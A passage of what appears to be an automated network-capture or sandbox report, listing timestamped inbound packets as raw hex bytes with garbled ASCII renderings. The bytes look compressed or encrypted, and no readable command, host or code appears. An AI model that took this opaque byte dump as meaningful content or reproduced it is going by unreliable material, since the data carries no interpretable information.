1d 6d 63 25 bf 5e be 01 f3 f9 8f 30 24 11 f7 ca 6a 35 59 e1 d1 1e d7 1b e1 f2 23 ed 0b f7 0a da da 57 0d 95 34 77 c0 93 bb 3f f5 a5 51 7a d6 b7 67 49 5c ce 02 b7 77 42 87 59 3d 56 b0 d6 69 bb 04 e2 f2 49 2e 06 ca 86 a1 1b a8 27 32 69 d0 Data Ascii: m*tpR1U/Sq6Y+D7?a"EOLhzwWU$fEr\|/B42kV0''d"n6h$\|-o)L$bNx~?Fjtd2Kv@!`mc%^0$j5Y#W4w?QzgI\wBY=ViI.'2i
2021-09-28 07:53:39 UTC	741	IN	Data Raw: d6 d0 4a c2 d6 94 ae 1c 8d 06 02 03 ec ae 7c 88 8e 7a 72 27 90 e7 8c cb 72 12 ac 41 00 cd 5a cb fb 1c 5a c7 3c b7 6f 4d e4 9f c7 33 fa df 1d e1 24 b2 13 fd 15 10 de f6 cb 4e 73 cf 8e a1 d9 64 8d 9e 53 88 c4 e2 44 ea e5 d4 86 7d bf 43 8a c1 44 63 08 76 12 d9 63 e8 4b 82 3f 11 ab 05 d3 80 a5 ea f0 96 20 a7 19 bd e8 8a 16 70 fb 54 d5 23 6e dc da 29 58 cc 1d 76 00 d0 72 3d 20 88 50 77 2d 63 8f c9 28 20 8b fe 85 09 74 c7 0a ef 5c ec 9a e6 40 57 06 1c 47 2d 85 3b 5d 27 92 4a 1b bd 38 25 02 e1 37 23 93 06 d2 d0 8f f8 b2 93 c7 09 29 0a 0a c0 75 b9 db dc be 0d c0 4c 98 7f c1 cc b3 49 48 d9 20 bd 20 df 92 46 1c 68 cb cc db 93 58 77 2c 23 8c 8b 6a 85 b2 e8 25 24 28 8d 27 7f b3 bb 55 e4 1b 3f 54 3c 08 44 b3 78 b0 b4 89 d9 1c 16 14 9e fc ca dd b7 f5 41 03 fc a1 7a b2 Data Ascii: J\|zr'rAZZ<oM3$NsdSD}CDcvcK? pT#n)Xvr= Pw-c( t\@WG-;]'J8%7#)uLIH FhXw,#j%$('U?T<DxAz
2021-09-28 07:53:39 UTC	745	IN	Data Raw: 8b 10 f2 56 4d f5 36 4d 0a 34 72 9a 96 56 69 11 50 de 2a 93 a3 23 1a f0 d6 1c de 70 7c f2 55 17 ce 51 29 3f ad 71 63 12 fe 0f 0d fb 98 d4 dd 95 b9 fa 17 57 70 ed 1f 2c ff ec fd 75 80 00 c9 3e 59 af 9a c6 e1 2d d2 c0 b7 c5 60 69 95 36 03 9e 93 3a f9 dd 3b 01 ec e0 a6 3f 13 99 f0 d2 9e ca 98 eb c0 5f e1 f6 77 84 5f 48 27 ac 28 33 06 ca 10 36 b3 e7 5d 26 ae a2 b7 4c a4 65 d4 a0 c7 df 5a 9e 97 eb dd 4d db 5f ba 34 aa 1a 5f f5 43 09 fc 32 46 88 bf 8d 22 08 b1 80 1c 34 3b 86 98 8b 7d 6f db aa 15 b5 d0 ac 5b 96 2e 7e a1 24 b1 18 26 e3 e5 03 f1 fa 05 09 e7 13 7b 54 41 46 db dd 11 5b a5 7b 61 a6 82 5e 5e 1f 96 50 d8 4c 11 8a 12 49 06 4b 8c 47 0b 55 5c df 95 2e d5 cb a2 ab fc 03 7d 61 41 b7 02 86 f8 27 36 71 a4 ed 97 9f 4f ee d9 11 ee 88 7b 9e 16 84 a3 2c 67 7b 00 Data Ascii: VM6M4rViP*#p\|UQ)?qcWp,u>Y-`i6:;?_w_H'(36]&LeZM_4_C2F"4;}o[.~$&{TAF[{a^^PLIKGU\.}aA'6qO{,g{
2021-09-28 07:53:39 UTC	749	IN	Data Raw: 02 59 2b 12 f3 ab 41 92 e4 8b 22 97 0b 00 cc ac 7f bc 09 35 35 89 64 7d 18 72 e1 99 97 f4 3c 4a 4d de 8c e6 63 38 df 3b ee e4 18 94 c8 8e f9 ef a7 b3 bb df 5b 77 e0 b5 8c c3 92 dd 59 76 39 2a f1 21 2a 64 58 98 12 fc a2 42 f8 c1 5a 24 4a 5f ab d7 bb 9d 2d c0 56 0a 49 9f dc 70 b0 75 fb 01 3b d6 3e 00 80 18 b4 03 fc 84 3d f7 ad e2 88 ab a2 78 8b d3 5f f4 8e eb 07 f1 d1 f1 fd 2b e2 da db 4d ef 49 f4 a0 2c 58 c2 01 04 15 5d 1d bf c3 9e 3c e6 f0 51 3f 70 45 8a a7 21 41 e9 26 f3 f2 ba b2 cb 61 2e 96 9c 2d e8 b5 2c ab 4c 1d a1 77 90 23 07 4a a2 97 b6 48 4c a5 b7 61 bd 32 12 92 74 5c 56 a9 2d 77 0f e2 ea f2 37 43 d1 20 43 91 31 2e f8 88 e0 72 6a ea ab f4 5a a5 39 1c b8 6c 26 65 37 9f 25 13 66 1f 4e cb 56 25 02 b3 10 54 52 75 fe cc d0 32 cd c5 df 61 53 76 30 40 7c Data Ascii: Y+A"55d}r<JMc8;[wYv9!dXBZ$J_-VIpu;>=x_+MI,X]<Q?pE!A&a.-,Lw#JHLa2t\V-w7C C1.rjZ9l&e7%fNV%TRu2aSv0@\|
2021-09-28 07:53:39 UTC	753	IN	Data Raw: 7b d8 32 91 d8 60 ae 33 32 29 93 24 b0 66 97 ca 31 60 34 9f c1 c7 21 6c 77 3d a6 71 7a 79 a6 08 02 56 7a 92 f1 3f cc 75 e6 3f ab cd c8 ed ee 3e 51 a2 95 55 31 14 97 35 75 27 0b 22 38 6c 05 b3 a8 4b 29 ec fd 03 71 7b a8 ff 89 3f 30 67 ab a4 86 73 30 e7 b6 78 55 5b 50 ff 64 94 3c 1b da 30 e5 c2 2b a1 ae ba 23 27 2f 4d d7 18 58 12 c0 18 eb f3 cb 01 1f 4d 00 24 06 ef b7 0d 28 64 ed 90 0a a9 1f 9e a4 cc cc 04 05 fe 6b f0 43 f4 36 ba a1 34 6a f6 65 33 cc 9c fe 04 30 e1 64 8f 45 59 5d 7a 5c bc 81 96 6c e3 18 1a 03 78 5d 4d 84 b7 59 b8 01 26 34 91 dc 53 98 41 dd 71 ef 9d 0b eb 22 80 30 6f ec 57 a4 34 7e 77 4b f1 ea 0b c7 49 29 f7 94 86 f2 80 f9 c9 a6 68 af 3f 24 d4 32 ea ba 1d 23 45 74 0c 2b 75 14 c2 66 5a 91 d9 9b 0b b3 40 64 3f 6c e8 00 c6 e9 6b 45 19 3a c0 d8 Data Ascii: {2`32)$f1`4!lw=qzyVz?u?>QU15u'"8lK)q{?0gs0xU[Pd<0+#'/MXM$(dkC64je30dEY]z\lx]MY&4SAq"0oW4~wKI)h?$2#Et+ufZ@d?lkE:
2021-09-28 07:53:39 UTC	757	IN	Data Raw: 2d 7e 5c e1 0f df 9d 3e ca 89 d4 0b 2a 8a 74 70 4d 38 e4 87 81 29 f5 2e ab c5 19 0e c1 7c 00 9f 62 ea 89 f0 b3 8c 12 b5 89 29 36 07 b7 a2 14 bc 97 a3 6d 24 3f a7 33 be f4 ff 43 1d e0 3f f0 0e ba cb b2 01 62 c4 80 f0 ce f9 c4 fb 19 2e fc 03 3f 0a 11 39 43 7d 83 b4 ff e7 6c 75 08 04 74 61 0f 79 6e 5e e3 ef ff c0 c2 c4 35 f8 7c 4c 1e a8 6b c3 f4 2e bc 79 f5 f1 58 ff cd 40 16 a7 90 7f 52 06 c2 d3 a2 cc 76 50 7f e7 42 be 25 0a d5 a3 80 6b 4f 6a 95 6b 21 c0 c7 77 15 19 a7 8f 52 a2 81 5c 6c 85 90 07 75 84 36 d6 8e 74 d6 7a d0 48 6d 7d 46 be d3 a9 56 f7 ce 05 fb dd 67 35 10 fd 90 78 51 57 24 eb 1e 5e 15 4d c1 1e 1d 94 08 38 22 62 da b5 b5 98 d5 6f 7e f7 08 0f 8d 12 19 d0 9d 5a 2d 03 d2 8b 79 52 1a 39 1b c6 12 54 bd 37 ab 1f 94 e8 79 c8 d6 eb 5e ce 1e 67 fe 5e 5f Data Ascii: -~\>*tpM8).\|b)6m$?3C?b.?9C}lutayn^5\|Lk.yX@RvPB%kOjk!wR\lu6tzHm}FVg5xQW$^M8"bo~Z-yR9T7y^g^_
2021-09-28 07:53:39 UTC	761	IN	Data Raw: 02 eb 69 fb de 32 92 4a 48 05 b3 5c ed 27 86 35 65 12 a8 0a 4c 5b 56 88 7c c7 23 f6 4a 89 28 ad 36 55 43 8f fb cb 0e 50 d8 7d 50 7d 44 47 be 9c 7b 28 8a fd 32 ca 59 90 67 38 ca ab 9a 01 78 34 70 ef 2c 80 d3 5a a8 65 9f 7e f7 a1 a4 d2 d0 7e 25 c4 fe cd 6d 88 ca 44 6c a3 34 95 56 a9 b1 ed f4 62 2f 8b 2c 9d 5f 1c 69 91 69 a3 97 09 6f 14 1c 72 65 dd dd c9 88 88 b6 80 cc e3 ca 66 bf dd f5 09 15 40 cb 0d 58 4a 2d 5b 1b 60 fd 7e 8f 81 e3 87 af fa 46 64 90 dd 3b 94 20 74 4f f2 e0 60 68 69 c2 98 eb 2e 16 7d 15 4b 6d 6e 87 8e e8 12 a8 83 77 d6 79 77 37 ba ea 0f 81 01 ae 6a fe 63 7e d0 48 35 28 f1 33 e1 cf 1b 62 2a 0a e0 81 31 c3 f1 60 ef 4a 86 86 7c e1 0c 69 45 78 e1 d1 20 16 51 66 3f 60 f7 64 57 41 b1 ba e6 33 2a 70 c7 05 9b e2 30 84 76 e2 7e 68 70 c1 48 37 82 35 Data Ascii: i2JH\'5eL[V\|#J(6UCP}P}DG{(2Yg8x4p,Ze~~%mDl4Vb/,_iioref@XJ-[`~Fd; tO`hi.}Kmnwyw7jc~H5(3b1`J\|iEx Qf?`dWA3p0v~hpH75
2021-09-28 07:53:39 UTC	765	IN	Data Raw: 27 60 a4 8e a8 e0 ca e1 c4 5f 75 f1 c6 a2 ba 32 ff 92 ca 2c 8f 74 79 dc 99 7d 5f a0 fb 37 04 9f eb e9 a4 e3 8a cf 3b 9a d3 b4 d2 39 c7 fe bc 22 76 52 47 5a eb 90 55 19 aa a7 bc 27 a9 02 96 f0 d4 c4 78 43 8f 91 e9 d0 a6 2a 58 47 7a 4c 61 e0 df 5a 08 ea 87 31 72 6e 78 0d 05 89 e5 70 94 7b dd cc f3 0e b4 25 a2 92 be a2 af 41 0f 03 6a f1 e2 17 78 5f da ac 51 cf c1 d0 d4 4b 2d 54 d3 33 13 1c 87 e9 0d e8 3b bc 36 70 7e 71 10 77 0d 20 c0 60 09 f7 97 9b 6b 64 87 5e fb 07 36 5b 7d 72 2a 3a 52 6f 64 13 4f 45 5d de 30 47 4b c6 35 cb b8 78 ce 4b 48 10 cc 6e 55 94 4c 53 12 1d 2f 6d 11 4e 67 7f a8 9e 7c d3 5f 37 49 e7 89 5b 46 37 c3 aa 38 53 3c f7 94 3c 81 7e f3 5d f1 1a e8 e0 15 76 e2 41 28 d1 90 2a 71 72 bd 8b 47 cf 29 15 d0 7f fb d4 bc 13 8e 38 80 ff ad 68 61 f0 7d Data Ascii: '`_u2,ty}_7;9"vRGZU'xCXGzLaZ1rnxp{%Ajx_QK-T3;6p~qw `kd^6[}r:RodOE]0GK5xKHnULS/mNg\|_7I[F78S<<~]vA(*qrG)8ha}
2021-09-28 07:53:39 UTC	769	IN	Data Raw: 6a ca f6 4d 66 be 90 b2 ce 5c df f0 11 bf 2a ea fb c5 d8 c2 3f 80 13 d8 5f 5b f1 13 f9 54 52 3c af 9e 01 7b a0 57 89 b2 8b 27 4f af 41 bf 3b 9d a3 f7 c9 cf eb 58 35 a9 8e c5 63 c7 71 cf d0 71 e0 ec e4 b7 27 3b f7 04 6f 8c 81 30 dc 0b aa 01 9c fa 59 f8 d3 f4 c1 ae eb c6 b3 4d d5 49 ed a9 d1 ad f8 94 9b 7c 24 52 7b 55 92 31 70 e8 05 a8 69 06 0e 1a c6 99 34 d2 7e 90 5d 89 11 31 a7 85 30 fc 6d b2 f3 a0 5e c0 c2 dc dd 2e 9a 60 7c a3 34 05 af 24 9f 4b d4 5b cd 58 8d 8e 95 51 87 c8 45 ed 9a 72 ca be 0a d9 7f be 54 03 1a 48 23 35 d7 ef 63 2a c1 5f 29 b4 73 6a 4a 52 02 06 9b ff ec a0 4f c3 dc 8b 75 1f e4 d1 af 28 4a 4d c5 31 d2 90 49 d4 3e eb 37 74 14 35 a9 2f 55 25 13 d3 b5 08 f0 d2 cf f6 4e f9 91 3d f0 1b 23 0c d9 24 ff 51 c3 e2 13 1c f4 64 ae 56 a2 df ad ba ca Data Ascii: jMf\?_[TR<{W'OA;X5cqq';o0YMI\|$R{U1pi4~]10m^.`\|4$K[XQErTH#5c_)sjJROu(JM1I>7t5/U%N=#$QdV
2021-09-28 07:53:39 UTC	773	IN	Data Raw: 62 c8 67 01 ea 56 a3 18 2e 9b 53 4d de a3 4a f8 8c 61 1e b9 f2 b0 c2 d6 e8 94 df ba 6c 09 b7 76 32 55 41 f2 15 ef 32 e1 52 ea f4 28 e9 8b 1e d3 3c e3 d5 52 34 fd f4 4b bb 62 da 33 ac 21 86 f0 93 fa 4c 0d e0 e5 0b de 65 b2 e1 8a 05 0e 3e ee 95 93 e1 8b fa 31 e1 a1 9b eb a3 49 d0 1f d9 e1 f0 ef b8 3b 66 79 d3 dd ed 44 3b 66 cc 83 6e 9f 11 98 1b d3 57 cb e2 dc 2f e0 71 b3 e8 a6 7b d4 43 06 f8 43 e5 f6 e0 c2 c5 92 25 97 66 bc 6c a9 5e 0c 11 e3 53 f4 db 02 82 7e 7c d9 56 67 5f e7 bc ad 99 8b 6b c5 e0 95 3c 2a b5 c8 e0 65 2c a5 f4 4d e5 83 74 51 ae 28 49 f3 f0 1f 72 ef 6f 4f 4d c5 e3 c2 38 59 07 53 ec b3 ab 30 bd 7a d7 23 5c 65 a2 87 49 4d bb b9 ce e5 bb 64 04 77 65 26 94 d8 8e 1d da 64 d9 20 3f 62 1e 4d 52 74 23 82 e4 b3 6f 7d 4c 4c 33 82 e5 c6 6d e5 df 9c a1 Data Ascii: bgV.SMJalv2UA2R(<R4Kb3!Le>1I;fyD;fnW/q{CC%fl^S~\|Vg_k<*e,MtQ(IroOM8YS0z#\eIMdwe&d ?bMRt#o}LL3m
2021-09-28 07:53:39 UTC	777	IN	Data Raw: b9 ac 65 e6 ce 05 ca ee b7 91 e5 09 0b 1e a9 a2 e0 25 78 f1 07 04 f9 70 67 1f 49 38 e1 ad 9f b5 d6 24 90 da c5 7c 9c fe 58 45 99 ea 77 bf ff 99 2f f3 5c ee ed c2 06 6b bb f5 bb e4 1f b5 ce 67 ef 3a 7d ae 74 ca 77 00 47 d2 b5 fd ac f3 7d 3d a5 60 23 37 0f 88 cc 20 6d b8 3c b4 c8 9b 62 67 60 74 31 74 1c 91 72 13 be 89 0e 94 da ee 67 10 a7 0d 1c 44 b9 d0 f6 c8 af 39 4b b8 5d 20 06 3f be 83 cf 49 17 4e bb 84 8a 56 2c 16 e2 91 af 38 ad 37 ff cf 78 df 05 e7 60 3d 7c f8 13 51 9b 0d c0 fc 01 f7 a1 f8 ba 71 50 9d 17 81 b7 c1 0a db 60 98 eb 89 dc 3c 82 45 ed 89 84 be 61 39 cd 1a 63 92 03 c8 3b a7 22 a9 cd 42 b5 e6 ad da 3c 42 3c f2 79 78 16 e1 7f cf e0 d6 9a 9c 73 ab b6 b7 ea 6d 13 ca 1f b8 82 33 15 d5 30 11 bc 03 58 3e 34 c8 d1 f7 a8 96 2a aa 5b 86 be 63 d4 4d e4 Data Ascii: e%xpgI8$\|XEw/\kg:}twG}=`#7 m<bg`t1trgD9K] ?INV,87x`=\|QqP`<Ea9c;"B<B<yxsm30X>4*[cM
2021-09-28 07:53:39 UTC	781	IN	Data Raw: 29 c1 21 49 a0 c3 dc 24 6b d9 31 74 1a ac 13 45 d2 a9 ad a1 0c 4c d4 72 a6 7f b8 a0 7a ce 52 4f dc c2 57 ca 00 72 01 50 04 5a b9 23 99 5f 78 73 aa f6 28 55 36 b9 01 f0 2e 9d d2 6e 37 58 ae 28 1b dc 7d bf f8 57 92 65 f8 3d 95 db 0f 59 db 71 a1 cd 48 a6 1c d5 68 78 6b 60 c6 da f3 51 2b 72 ee 99 98 44 01 65 fc d0 1f 2b ae 7b 6e a8 e7 8a 23 ed 25 b1 99 35 24 b2 5e 87 c5 a2 31 44 6d 9a 17 a8 8f 25 8d 4d 65 58 00 de e9 3c ea f5 91 18 0a f9 99 e1 33 35 83 e0 3b c4 58 19 57 36 64 cf 47 63 a0 51 be 49 ac 61 59 2d 3b 93 39 8c 07 aa 73 bf 85 5b bc a2 23 89 4f 2a 76 a9 a6 7c 78 c6 02 35 33 9b 28 40 d7 bb 3c 0e 12 c7 3d 65 80 3c 69 43 ad 28 78 d5 58 89 11 5f 9e 15 f5 f5 7e d6 bc d9 80 26 1c 78 83 f1 cc d8 82 31 a8 4e 6d 80 90 58 80 ea 46 28 85 cc ef 2a 5a f6 3a 09 23 Data Ascii: )!I$k1tELrzROWrPZ#_xs(U6.n7X(}We=YqHhxk`Q+rDe+{n#%5$^1Dm%MeX<35;XW6dGcQIaY-;9s[#Ov\|x53(@<=e<iC(xX_~&x1NmXF(Z:#
2021-09-28 07:53:39 UTC	785	IN	Data Raw: f7 51 f9 5b f4 b5 f6 dc 07 61 50 cc 5c 84 1e 86 f5 90 98 b0 51 42 39 45 7c 3e 6f 9b f6 46 6a b9 9f ae 14 8d de cb b7 ac 78 c8 75 ef 70 f6 71 45 c0 b0 fe d4 c1 f8 7b c8 0c 76 65 1f 63 6a 15 5a 13 1d 59 e2 3b 46 1d 0d f3 b8 ff 9a ac e9 56 43 ea b9 9d ba c5 52 76 91 9f 09 7e 80 5e d7 3d fe 9f b7 33 32 df be d7 7c f3 78 7e c0 a7 42 9a 82 7f 0c 11 f0 4f cd e9 31 56 d4 d3 11 3c 47 39 15 86 88 2f 97 51 a6 39 27 7a cb fa 4f 37 85 85 96 76 00 b6 b9 55 d1 3e 6a f6 16 37 02 e6 e5 f1 ee 85 61 82 46 f6 63 39 ce 3e a8 96 07 6f 99 e4 85 31 e4 dc 8b e9 f1 b0 9c a5 9b 76 c2 4f a1 0f a4 96 f4 c4 a5 aa 0f 88 ca 2e 2e 2a 24 36 e4 4b 98 08 f0 f1 6e 1a 32 8e 93 3b b6 82 c1 f8 dd bc de e8 ae 6f 5f f7 c6 ce 06 9d 6f 41 66 b2 47 35 e7 88 80 40 61 77 fe 35 35 73 b6 eb 25 f4 e5 62 Data Ascii: Q[aP\QB9E\|>oFjxupqE{vecjZY;FVCRv~^=32\|x~BO1V<G9/Q9'zO7vU>j7aFc9>o1vO..*$6Kn2;o_oAfG5@aw55s%b
2021-09-28 07:53:39 UTC	789	IN	Data Raw: e8 85 b1 4a 4e b8 1b ec 0b 50 c6 4a ae 28 eb 17 f6 0c 98 dd a7 67 a1 c5 21 34 1c 55 db 0e 92 05 41 08 01 29 52 77 33 e7 e4 2c 59 60 e5 7a b3 8a 4f a8 cc ee f1 1c d6 e8 b3 11 44 36 53 ce f5 0f 5e d5 4f e2 f3 c7 68 09 63 72 c9 4c 38 40 89 4b 8d 18 31 05 41 ca 88 f4 6e b5 12 69 9d 93 81 da 09 dd e7 47 dd d9 c6 9e bd e0 b1 38 a5 7a f4 31 28 b3 d5 b0 63 9a 35 66 8f 1b bf d7 91 b3 1e 80 5f b5 c8 a6 31 3c 94 d6 fa bb 03 0e 0c 29 c2 4b f6 47 83 94 43 70 f0 e5 b3 8f 89 0e ab 84 4e 13 96 6a ed 6d ce 49 ff 2e c7 57 b1 cd b6 d9 3f ef 80 30 bd 0b a8 a1 64 14 d5 cb 9a d8 be 34 33 89 ae 98 94 17 92 f5 f1 c3 9c fa c5 97 eb 1e 3f b0 49 52 c6 ff 9d 23 8f 13 5b 9c 87 61 c3 b6 f0 3e dc 38 0b e4 d4 3d c9 cd 94 f8 85 af bd 42 59 ab 8e 06 43 a3 00 5f 29 34 b2 41 c6 bd 1a 72 c1 Data Ascii: JNPJ(g!4UA)Rw3,Y`zOD6S^OhcrL8@K1AniG8z1(c5f_1<)KGCpNjmI.W?0d43?IR#[a>8=BYC_)4Ar
2021-09-28 07:53:39 UTC	793	IN	Data Raw: 4e 28 4d 18 b7 65 75 8c c7 1b b1 96 d2 37 d8 4f 3e 04 82 57 d2 78 b0 99 99 27 cd 8a 9a ae 7c 8c 63 95 d5 49 7d 1c 51 27 71 b9 4a e5 47 5e ed 0d 04 99 48 36 06 8a 47 49 fa ff 7c 19 5c 3e 93 b7 de e0 00 6f 28 94 9e a9 16 8b 65 8b 92 aa fb 07 5f 95 d8 d6 ea 3a 20 a4 78 3d 19 85 80 88 d7 72 6c bf 7d b4 10 4b 95 b1 ce 47 1c 04 5b 57 d6 2c c4 98 42 ff a8 03 60 e3 29 a3 af 03 79 b5 70 5f 27 df 00 99 90 6e 27 70 06 3e e5 3f 66 c7 40 03 ef d0 d1 4f fe 8d 17 67 53 ba 6b a7 ed b2 a7 c4 7d 51 3e 6f 2b db 24 39 5f 8d d4 80 a8 5e 83 79 b1 8b cf ab 37 73 26 36 71 13 10 34 82 bb bd ab ff ab fc 74 e4 5d 99 db 78 2f 3a 40 a9 84 d4 29 52 44 63 ef c5 f5 94 76 84 67 2a 3d 12 ab 80 1c e3 96 2c b5 c1 ab 88 f9 da 41 20 87 34 c3 3f 5c 5e 2c 37 52 59 e2 08 f2 b2 a3 65 b3 32 76 91 Data Ascii: N(Meu7O>Wx'\|cI}Q'qJG^H6GI\|\>o(e_: x=rl}KG[W,B`)yp_'n'p>?f@OgSk}Q>o+$9_^y7s&6q4t]x/:@)RDcvg*=,A 4?\^,7RYe2v
2021-09-28 07:53:39 UTC	797	IN	Data Raw: 29 fa c0 63 a5 c5 20 83 1e 82 c9 41 f8 5b 7f 56 b4 cb 94 d0 0f 3f 28 64 55 d8 b5 1d 68 da 36 81 a3 ac 8f e8 9a f1 7c ce 84 a9 69 3c 1f 49 e0 07 3e 84 03 b6 1f 06 7a 9e 15 92 1a 34 f8 0a d7 b7 32 5c 5b 05 f4 3b 49 2d 39 78 b2 2f c0 49 25 32 3d 27 6b 13 87 31 a5 9e 6e 59 d3 7d 61 96 15 dd 64 94 67 54 32 af c7 56 9d 28 fa 77 1f 86 4c 13 f0 b2 d5 56 67 98 45 1e f7 48 38 b8 cb f0 65 13 3a 4a 91 23 82 a3 ed a8 54 79 e6 47 e3 62 8a 89 37 82 61 d4 76 15 ad ba a1 cc 9e 87 10 f2 7d b0 6f 2a 33 38 30 3d f1 02 a4 cf ca b8 a1 32 8d cf 57 c9 ad 0a d0 d8 55 f7 93 cc 6d 5c e0 2e 9a 3c 5b 47 85 90 11 7b 70 89 db 72 f9 a0 33 b1 4b 97 89 1e f3 3f 0c 9b f3 e1 c7 6a 67 e7 d6 ed 58 94 f8 fc 8f da 20 91 81 ee 82 8e 86 30 d7 46 bb e8 cc 93 a2 bb f5 78 13 29 e5 1c 77 3e df 05 b1 Data Ascii: )c A[V?(dUh6\|i<I>z42\[;I-9x/I%2='k1nY}adgT2V(wLVgEH8e:J#TyGb7av}o*380=2WUm\.<[G{pr3K?jgX 0Fx)w>
2021-09-28 07:53:39 UTC	801	IN	Data Raw: 61 f3 5d 6a 09 1f 38 67 d3 5a 20 0a ca 10 dc 19 44 04 28 5b 4c ec 76 d4 5d fb 99 af 6c 8b 29 94 92 6e 73 cb b3 73 ce 35 0e 94 01 53 d1 7c 06 f6 e0 6b 27 db 3a ce 42 85 23 95 75 83 c0 45 c5 7f 38 0c 62 b4 3b bd 2d fb 5c 7c 86 e0 eb 1d 27 58 14 06 f3 9c 7f 1d f4 b3 c2 99 14 ba cd dd 83 b3 25 2c a5 2b 76 c1 c6 5f fd 01 14 40 a4 23 6d 51 71 91 01 a0 1c ae c3 ee df 44 da bc b9 ec ff f7 ae ca c9 42 d4 f5 d0 71 96 ec 6a 8e c2 c9 06 93 33 b4 ed 22 67 96 9a 7f 3e 79 03 70 05 0e 75 00 9a b2 81 cd 1f e8 ab 42 f4 db e8 31 f9 b7 97 31 01 29 85 97 61 2a c6 48 ca 1d bb 75 9a a0 72 e9 72 94 c1 76 ed 25 02 0d 96 29 46 da c9 aa ee 18 f8 45 08 d7 9d f3 57 de 60 05 ea f6 be 89 51 c1 95 ad 75 e8 76 1e 1b 83 17 5c 7f 7d 91 2b 6f 24 70 d8 12 df 59 36 92 d5 42 91 ba 56 26 98 da Data Ascii: a]j8gZ D([Lv]l)nss5S\|k':B#uE8b;-\\|'X%,+v_@#mQqDBqj3"g>ypuB11)a*Hurrv%)FEW`Quv\}+o$pY6BV&
2021-09-28 07:53:39 UTC	805	IN	Data Raw: e7 b1 d5 08 9d 5f 50 c3 ae e7 ad dc 74 12 42 ed 34 53 d3 d5 80 fc d7 57 47 cc 1f 93 3f a9 74 b2 d5 3f bb fd 18 ab 71 d5 03 b7 77 88 62 0a b5 41 e9 c1 36 be 22 5a 45 b3 28 2a 6b 83 63 24 ce 27 ec e4 5e 2f 90 e7 90 6a d3 02 d8 3c ee b2 9d 0a 8d a7 65 88 3d cd d8 f9 d5 23 7d 33 5c 53 68 59 2b 2c c4 06 30 e6 91 07 36 3b f2 2e 2a 0b 6d 4e 41 86 7e bb ca c7 b9 6d 80 73 59 4c 95 8a 1b 1c d4 32 d6 9a d4 96 dd f4 b7 39 01 0e 91 10 9b ed 0e ee 46 7d f9 40 f1 46 38 93 8f 4b d9 05 d3 35 ee c1 7f e3 e7 f6 7e ee a3 3f 67 2a 10 b5 76 af 90 89 57 27 c0 e2 d4 36 b6 09 c6 ad c1 5e 65 da 19 39 16 ab 94 69 71 fc 01 b6 b3 53 d8 b6 5d f3 38 a1 d7 d0 e0 bd 4a 04 3f aa 50 52 a2 c3 b3 cd 33 d2 60 3d 01 84 4d c7 98 74 34 99 12 cf d7 73 e9 9b cb 4f ca 8f db 27 2d 3a a7 b9 70 ca 6c Data Ascii: _PtB4SWG?t?qwbA6"ZE(kc$'^/j<e=#}3\ShY+,06;.mNA~msYL29F}@F8K5~?g*vW'6^e9iqS]8J?PR3`=Mt4sO'-:pl
2021-09-28 07:53:39 UTC	809	IN	Data Raw: c0 ae 11 eb 0d 7a 9e 82 b2 d7 7d 29 53 9a 8c 71 d0 1e 57 aa fe 35 41 a4 1d 7c 43 0d 74 10 7d 1d 74 06 df 3b e9 65 e4 e4 d3 f0 e1 c0 77 43 26 d5 0c 0f 61 8e 00 40 0b 5d ab 49 89 f8 ff 8f 38 23 1c 9d 30 69 6a f8 51 b1 13 dc b8 7e 1b 4e 18 2f 1b c4 9b 78 4e a0 6a e0 db 4c 13 81 57 07 79 57 4d fe b7 e7 b0 d9 35 53 2b 44 07 8e 54 85 b6 db dc c1 67 e8 32 2c 3c 84 d8 c0 94 ea e9 fe 7e 80 a8 66 64 5e 6f dc b4 0f a7 a8 cf 15 9c e2 9c 0b 4d 6f 9d 4f bb 0f fe ed db 80 cc 29 82 af 4a 15 30 0f 54 de 37 bb 2a 84 70 91 42 cd 71 d1 b9 5c 4b 41 87 97 6e 6a 4a 7d d9 02 76 9a 7a 38 bf 70 df e1 66 63 66 9e 14 27 1b 39 d4 f3 09 ae 97 bc 92 c3 57 ce 31 76 9e e3 a2 a1 8d 39 d8 b9 96 7d c6 3f 55 14 b5 04 47 6a a5 c5 3c 40 af b8 a8 f4 b5 d5 14 ea 10 ab e2 8a 47 7b 4a 04 ea 6f 7f Data Ascii: z})SqW5A\|Ct}t;ewC&a@]I8#0ijQ~N/xNjLWyWM5S+DTg2,<~fd^oMoO)J0T7*pBq\KAnjJ}vz8pfcf'9W1v9}?UGj<@G{Jo
2021-09-28 07:53:39 UTC	813	IN	Data Raw: 2d 9b 36 5e 64 cf 65 b8 48 f0 c0 19 bc ff 1f 40 81 8d c1 42 67 40 80 7a d5 32 9a c7 8f 5c 76 e9 8c 05 49 6d 63 63 28 ef 16 70 8c a6 77 4d 58 6e d0 5f cd 48 69 d1 c1 40 b2 9b c8 46 d9 40 27 b8 43 21 21 2c a3 6a 70 d8 91 80 00 a5 88 db 96 11 18 bb 03 75 0f 28 ed 02 fe 0c fc bc 56 00 95 7f b4 f1 ae 60 32 f0 fe 6f 70 6c 0a 37 bd d7 7f 08 40 27 d2 ec 3b 77 d3 97 63 ca 94 b7 97 e2 63 57 2e 01 7c e1 19 0b f3 e4 12 10 f2 73 dd 11 91 21 9c d4 80 d8 5a e6 75 9e 95 11 2d b6 f1 06 89 e2 83 99 b9 4b df a3 60 fc de bc b4 74 a6 ae 3c 7f a1 53 bd 89 9a d7 5c b8 ca 18 7f f6 e7 57 13 fd fd 54 dc ee f1 a0 a3 46 0f 45 65 98 4e ac c7 4a 45 cd 15 4c 02 06 8e c3 7f 2c 9f 91 23 d6 c8 62 9c c1 d6 6a c8 35 a1 66 b8 7f d3 27 90 8e 3b 6b af 09 71 4f ea be 2f ab 65 3f f1 01 fe 77 87 Data Ascii: -6^deH@Bg@z2\vImcc(pwMXn_Hi@F@'C!!,jpu(V`2opl7@';wccW.\|s!Zu-K`t<S\WTFEeNJEL,#bj5f';kqO/e?w
